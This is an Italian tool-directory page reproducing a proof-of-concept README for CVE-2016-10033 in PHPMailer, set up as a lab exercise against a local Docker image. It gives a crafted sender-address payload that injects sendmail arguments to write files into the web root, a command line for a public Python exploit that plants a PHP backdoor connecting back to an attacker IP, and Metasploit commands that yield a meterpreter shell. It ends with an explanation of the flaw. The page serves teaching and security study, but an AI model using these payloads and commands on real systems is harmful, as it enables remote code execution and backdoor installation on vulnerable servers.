Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
POC-CVE-2016-10033 — Prova di concetto per la CVE-2016-10033 (PHPMailer) | Kitploit
Strumenti/GitHubGitHub/astrowmist/poc-cve-2016-10033
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo PayloadLab e Pratica
GitHubastrowmist/poc-cve-2016-10033

POC-CVE-2016-10033

Prova di concetto per la CVE-2016-10033 (PHPMailer)

Vedi Repository
2 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

POC-CVE-2016-10033

Prima di tutto, avviamo l'applicazione vulnerabile

Passo 1: Esegui il seguente comando per recuperare l'immagine Docker vulnerabile dal repository Docker.

Comando: docker pull vulnerables/cve-2016-10033

alt text

Passo 2: Esegui l'immagine Docker in Docker Desktop, esponendo la porta 8080.

alt text

Ora puoi accedere al sito web vulnerabile all'indirizzo localhost:8080 nel browser web.

alt text

Metodo 1: tramite pagina web

Passo 1: Compila il modulo con i seguenti input:

Input Nome: OSEC (può essere una stringa qualsiasi, questo non influisce sull'exploit)
Email Mittente Crafted: "attacker\" -oQ/tmp/ -X/www/pwn.html some"@email.com

Il funzionamento di questa email mittente craftata è spiegato in dettaglio nella sezione descrizione del vettore d'attacco. Per quanto riguarda i parametri specifici, il secondo parametro -oQ/tmp specifica la directory della coda e il terzo parametro, -X/www/pwn.html specifica la posizione del file di log da scrivere. Se la directory della coda non viene specificata, il processo sendmail tenterebbe di accedere alla directory predefinita della coda di posta (/var/spool/mqueue-client/) che sarebbe protetta per impedire accessi e manomissioni non autorizzati, una misura di sicurezza comune. Per evitare questo problema di permessi, devi specificare una directory della coda in cui l'utente che esegue lo script PHP ha permessi di scrittura. Comunemente, viene utilizzata una directory come /tmp perché è tipicamente scrivibile da tutti gli utenti. Se il corpo dell'email contiene codice PHP e se il file di log specificato viene posizionato in una directory accessibile dal web, l'attaccante può eseguire il codice PHP accedendo al file di log tramite un browser web, ottenendo così l'esecuzione remota del codice.

Input Messaggio: Questo è solo un esempio di file html che un attaccante potrebbe caricare. Ovviamente, l'attaccante potrebbe caricare qualcosa di molto peggiore come una backdoor, cosa che faremo nel prossimo metodo di sfruttamento

root@kitploit:~
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Hacked!</title>
    <style>
        body {
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;        
        }
        .container {
            text-align: center;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1 style="color: red;">Congratulations! You've been hacked!</h1>
        <div>
            
            <p><a href="https://giphy.com/gifs/fun-meme-hacker-B4dt6rXq6nABilHTYM"></a></p>
        </div>
    </div>
</body>
</html>

Passo 2: Dopo aver inviato il modulo, naviga al file html che abbiamo appena caricato all'indirizzo http://localhost:8080/pwn.html

alt text

Metodo 2: tramite riga di comando (script di exploit)

Requisiti: Questo script è compatibile solo con Python 2 (non funziona con Python 3).

Passo 1: Scarica lo script di exploit all'indirizzo https://legalhackers.com/exploits/CVE-2016-10033/10045/10034/10074/PwnScriptum_RCE_exploit.py

Passo 2: Quindi esegui lo script con i seguenti argomenti:

Comando: python2 /home/kali/PwnScriptum_RCE_exploit.py -url http://192.168.79.1:8080 -cf / -ip 192.168.79.149 --post-action submit --post-msg message -d /www

-url -> specifica l'URL del target
-cf -> specifica la posizione del modulo di contatto all'interno dell'URL specificato in -url. (Nel nostro caso è esattamente lo stesso di -url, quindi abbiamo incluso solo una barra)
-ip -> specifica l'IP dell'attaccante per la connessione di ritorno della backdoor
-d -> specifica la directory relativa per caricare il file php della backdoor
--post-action -> L'attributo name del campo nascosto
--post-msg -> L'attributo name del campo di input del messaggio

alt text Nota: Il motivo per cui dobbiamo specificare --post-action come "submit" e --post-msg come "message" è che nell'applicazione vulnerabile che stiamo utilizzando l'attributo name è diverso dai valori predefiniti usati nello script Python di exploit

Gli attributi name nell'applicazione vulnerabile:

alt text

Gli attributi name predefiniti specificati nello script: alt text

Passo 3: Dopo aver eseguito il comando, tuttavia abbiamo ricevuto un errore mostrato di seguito

alt text
Nell'immagine sopra puoi vedere che il programma sta cercando di accedere a http://127.0.0.1:8080//www/phpbackdoor9284.php che è ovviamente sbagliato a causa di //www. Questo non funzionerà perché in questo sito web vulnerabile /www è la radice del sito, quindi non puoi navigare verso http://127.0.0.1:8080/www poiché http://127.0.0.1:8080 è già su /www.

Anche nell'immagine sottostante possiamo vedere che l'exploit ha effettivamente funzionato perché phpbackdoor9284.php è stato creato con successo nella directory. Quindi l'unico problema era come rimuovere quel //www dall'URL.
alt text

Dopo un'ispezione più approfondita dello script Python, siamo riusciti a localizzare la variabile BACKDOOR_URL che specifica l'URL del file php della backdoor. Nella variabile possiamo vedere che la directory target che abbiamo specificato (args.TARGET_UP_DIR) viene concatenata insieme alla variabile BACKDOOR_FILE. Per risolvere il problema, dobbiamo rimuovere quella e la barra aggiuntiva.

Prima:
alt text

Dopo:
alt text

**Nota che lo script in questo repository è già modificato e pronto per l'uso

Passo 4: Ora esegui di nuovo il comando precedente, e questa volta la backdoor dovrebbe essere stata caricata con successo nella directory radice del web e dovrebbe essersi connessa di nuovo al mio Kali.

alt text

Metodo 3: Metasploit

Passo 1: Digita msfconsole nel terminale di Kali per aprire Metasploit. Quindi cerca i moduli Metasploit per CVE-2016-10033. Quindi scegli il modulo selezionando l'indice associato. Nello screenshot qui sotto abbiamo scelto 1 che ha come target PHPMailer < 5.2.18.

Comandi:
msfconsole
search CVE-2016-10033
use 1
alt text

Passo 2: Imposta le opzioni richieste per il modulo di exploit come l'indirizzo IP del target, la porta, l'URL del target e la root web.

Comandi:
set RHOSTS 192.168.79.1 (specifica l'IP del target)
set RPORT 8080 (specifica la porta del target)
set TARGETURI /(specifica l'URL del modulo web)
set WEB_ROOT /www (specifica dove si trova la root del sito web)

alt text

Passo 3: Digita "exploit" per eseguire l'exploit. Se tutto va bene, dovresti ottenere una shell meterpreter della macchina target come mostrato di seguito.

Comando: exploit

alt text

Siamo arrivati alla fine del POC.

Spiegazione dell'Exploit

La classe PHPMailer utilizza la funzione PHP mail() come trasporto predefinito. Il trasporto è implementato utilizzando la funzione mailSend(): alt text

Se guardi alla riga 12,
alt text

l'indirizzo del mittente viene concatenato con -f come da documentazione PHP della funzione mail() per dire al binario sendmail che la stringa dopo l'argomento -f è l'indirizzo email del mittente. alt text

All'ultima riga della funzione mailSend(),
alt text

vengono passati tutti gli argomenti richiesti dalla funzione PHP mail() incluso il 5° parametro $params che consente di passare parametri aggiuntivi al binario sendmail.

L'immagine qui sotto mostra i parametri che la funzione mail() accetta e che corrispondono ai parametri passati dalla funzione mailSend().
alt text

Come visto sopra, sappiamo che la stringa $params è costruita dalla variabile Sender. Questa stringa Sender viene normalmente impostata utilizzando il metodo setFrom() che convalida l'indirizzo del mittente che l'utente digita nel modulo web.

alt text

A causa della convalida della funzione validateAddress(), PHPMailer rifiuterebbe, ad esempio, un'email come
attacker -InjectedParam2 @attacker.com
che impedirebbe l'iniezione di parametri aggiuntivi a Sendmail tramite la funzione mail().

Ulteriori ricerche da parte del fondatore del CVE hanno rivelato che la convalida viene effettivamente eseguita secondo le specifiche RFC 3696.

L'RFC consente alle email di contenere spazi quando sono racchiuse tra ". Quindi il seguente indirizzo email sarebbe accettato dal metodo setFrom():
"Attacker -Param2 -Param3"@test.com
Che verrebbe poi passato alla funzione mailSend() e quindi alla funzione PHP mail() che a sua volta eseguirebbe /usr/bin/sendmail, il binario MTA (Mail Transfer Agent), con i seguenti argomenti:

root@kitploit:~
Arg n. 0 == [/usr/sbin/sendmail]
Arg n. 1 == [-t] (legge i destinatari dalle intestazioni)
Arg n. 2 == [-i] (ignora i punti sulle righe)
Arg n. 3 == [-f”Attacker -Param2 -Param3”@test.com]

In altre parole, così:
alt text

il che non funzionerebbe per l'attaccante poiché Param2 e Param3 vengono passati all'interno dello stesso argomento numero 3 che specifica l'indirizzo del mittente.

Tuttavia, gli attaccanti possono uscire da questo con un ulteriore escaping. Iniettando una sequenza aggiuntiva di \" nell'email del mittente dopo il primo argomento,
"Attacker \" -Param2 -Param3"@test.com
e quando viene passato a PHPMailer e infine alla funzione mail(), eseguirebbe il binario sendmail con i seguenti argomenti

root@kitploit:~
Arg n. 0 == [/usr/sbin/sendmail]
Arg n. 1 == [-t]
Arg n. 2 == [-i]
Arg n. 3 == [-fAttacker\]
Arg n. 4 == [-Param2]
Arg n. 5 == [-Param3"@test.com]

In altre parole, così:
alt text

Quindi questa volta gli attaccanti sarebbero in grado di iniettare parametri aggiuntivi, in questo caso i parametri 4 e 5.

Crediti

Questa vulnerabilità è stata trovata da Dawid Golunski.

L'immagine Docker è stata creata da opsxcq - https://github.com/opsxcq

e ultimo ma non meno importante, i miei adorabili compagni di gruppo che mi hanno aiutato con il POC :
Xavion - https://www.linkedin.com/in/xaviontok/
Brandon - https://www.linkedin.com/in/brandontyf/

Scarica lo strumento